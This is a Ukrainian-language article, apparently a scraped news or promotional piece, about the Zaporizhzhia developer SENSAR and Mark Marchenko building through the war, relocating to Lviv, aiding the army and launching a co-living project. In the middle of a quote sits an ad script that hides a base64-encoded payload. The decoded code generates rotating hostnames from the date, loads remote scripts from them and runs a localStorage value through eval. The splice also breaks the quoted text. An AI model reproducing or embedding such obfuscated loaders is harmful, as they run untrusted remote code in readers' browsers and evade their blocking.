Війна поставила перед бізнесом багато питань, відповіді на які знайшов не кожен. Як продовжувати працювати поблизу лінії фронту, зберегти команду та командний дух, захистити гроші інвесторів, відкрити для себе та започаткувати нові напрямки? І особливо складно відповісти на ці питання у будівельній сфері, статичність об’єктів у якій не дозволяє просто взяти та перемістити виробництво у безпечний район. Та й рівень зарегульованості та корупції у цьому секторі донедавна був колосальним.
Запорізька компанія-забудовник SENSAR Development та її лідер Марк Марченко зуміла відповісти на більшість поставлених питань і сьогодні має намір розвиватися всупереч будь-яким випробуванням та труднощам.
Коли ілюзії щодо швидкого закінчення війни розвіялися, стало очевидним, що фронт зупинився і далі ворог не пройде. При цьому перший тиждень після початку війни SENSAR наполегливо будував свої об’єкти далі, доклавши максимум зусиль для ефективної комунікації – як у команді, так і з інвесторами, які обґрунтовано переживали за свої кошти, з яких деякi вклали гроші вже цього року.
Це дозволило переключитися зі стресу на мозковий штурм: як зберегти бізнес, не втратити голову та людей.
«Я завжди любив своє місто і хотів, щоб воно розвивалось, — каже Марк Марченко. — Оцінивши перспективи будівельної галузі, команда SENSAR, яка родом із Запоріжжя, у 2018 році задумала кілька сучасних проектів у рідному місті i з успіхом почала їх реалізовувати.
Ми поставили собі за мету наситити попит на нове житло, який на той час досягнув свого піку. Це сприяло інвестиційному розвитку в місті. Одночасно ми хотіли змінити уявлення людей про комфортне житло та інфраструктуру, що його супроводжує».
Відповідальність перед інвесторами та командою
На 24 лютого у девелоперському портфелі SENSAR було 128 тис. кв. метрів нерухомості. Сьогодні цей показник збільшився — наразі компанія добудовує декілька об’єктів в Запоріжжі і розпочала перспективне будівництво у Львові.
На думку Марка Марченка, війна розділила життя на «до» та «після». Щоб подолати цей психологічний бер’єр, треба було думати, працювати, прикладати надзусилля. Або сидіти і чекати, доки війна закінчиться – і тоді втратити все. Але в SENSAR не звикли відступати.
Тому роботу офісу не зупиняли зовсім – хоча для безпеки колективу здійснили його релокейт до Львова – а от роботи на будівельних майданчиках та в офісах продажу відновили у повному обсязі наприкінці весни. І це незважаючи на те, що сирени повітряної тривоги звучать у Запоріжжі по десять і більше разів на день, ракетні обстріли житлових будинків, підприємств та енергетичної інфраструктури не припиняються, а деякі об’єкти будівництва зазнали хай i незначних, але ушкоджень, бо вибухи сталися у радіусі 150 метрів від майданчиків.
«Так, ми будуємо, — з гордістю каже Марк Марченко, — бо маємо відповідальність перед інвесторами та командою. I мене дивує, як можна не будувати. Адже велика кількість людей через зупинене війною будівництво втратила надію, що колись отримає свої омріяні квадратні метри. Тому як бізнесмен я розумію, що попри все повинен знайти рішення і виконати свою роботу та зобов’язання».
Мобілізація усiх наявних ресурсів
Одночасно з осмисленням нової реальності, прийняттям ключових рішень щодо збереження бізнесу, була сфера, в якій з перших днів російського військового вторгнення головною стратегією стала мобілізація усiх наявних ресурсів. Це безпосередня допомога ЗСУ та громадянам, постраждалим від воєнних дій: надання біженцям тимчасового притулку та матеріальної допомоги, евакуація людей з прифронтових територій, закупівля i доставка на передову засобів спостереження, екіпірування та амуніції.
«В першi дні війни SENSAR відвантажив все, що мав на будмайданчиках, на потреби Збройних сил, — розповідає Марк Марченко. – Ми донатили, продовжуємо донатити і закликаємо своїх партнерів до фінансової допомоги нашим захисникам. А невдовзі ми знайшли ще один напрямок, де можемо бути корисними. Це ремонт зруйнованих ворожими атаками приватних будинкiв. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Я особисто їжджу в постраждалі місця, знайомлюсь з людьми, щоб краще розуміти, яка допомога потрібна. І от коли ти дивишся в очі людині, яка все втратила, в очі, повні відчаю, ти розумієш, що у цієї людини одна надія на тебе, і ніхто, крім тебе, їй не допоможе. Тоді ти береш і робиш, чого б це тобі не вартувало».
Нова локацiя i новi проекти
На думку Марка Марченко, девелопмент як такий не піддається релокейту. Все просто починається з нуля на новому місці. Хоча, безумовно, каже вiн, у тебе є досвід, репутація та деяка безстрашність – у порівнянні з абсолютними новачками.
Щодо SENSAR, то було зрозуміло, що пріоритетним місцем для нової філії стане саме Львів — економічний, інтелектуальний та культурний центр Західної України та безумовний лідер поряд з іншими великими інвестиційними центрами країни. Так почалася львівська історія SENSAR, до якої вже у травні приєдналися практично всі співробітники компанії, повернувшись з Європи.
Розпочавши спілкування й співпрацю з львівськими коллегами, компанія суттєво розширила свої горизонти і незабаром започаткувала будівництво апарт-комплексу Smart House. Для SENSAR це вихід на новий виробничий рівень, оскільки йдеться про зведення компактної і водночас ультрасучасної автономної будівлі, яка є яскравим втіленням ідеї колівінгу.
Такий житловий комплекс закриває всі базовi потреби своїх мешканців щодо життя, відпочинку і роботи. Це коли у твоєму будинку є коворкінги, конференц-зала, патіо-зона, інші функціональні приміщення і навіть кав’ярня. Відповідно, люди, які обирають таке житло, за визначенням є спільнотою, яка об’єднана однаковими цінностями i ритмом життя. А це своєю чергою означає душевний комфорт та успішність співвласників спiльного простору.
З суто фінансової точки зору це означає, що покупець не купує погане житло, якщо йому не вистачає грошей на квартиру в новобудові — вiн купує якісну нерухомість з комфортними умовами, але меншої площі.
Що важливо, SENSAR став першим, хто запровадив цей європейський концепт житлових комплексів в Україні. І, як вважає Марк Марченко, ефективнiй реалізації нового проекту багато в чому сприяла реформа Державної інспекції архітектури та містобудування України.
«Якщо ти як забудовник маєш повний пакет документів, маєш намір та змогу будувати, — каже він, — то отримати дозволи без корупції вже стало можливо. І саме з цього часу я щиро вірю в нову систему для будівництва без хабарів та перешкод, вірю у реальність впровадження реформ в Україні».
Це безумовно додасть нам наснаги завершити та ввести в експлуатацію всі об’єкти в Запоріжжі і завершити будівництво Smart House у Львові, додає Марченко. Тим паче, акцентує він, що ми вже працюємо над новими об’єктами ще в декількох містах нашої країни.
(adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/zabudovnik-sensar-na-peredovij-dosvid-vizhivannya-ta-rozvitku/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
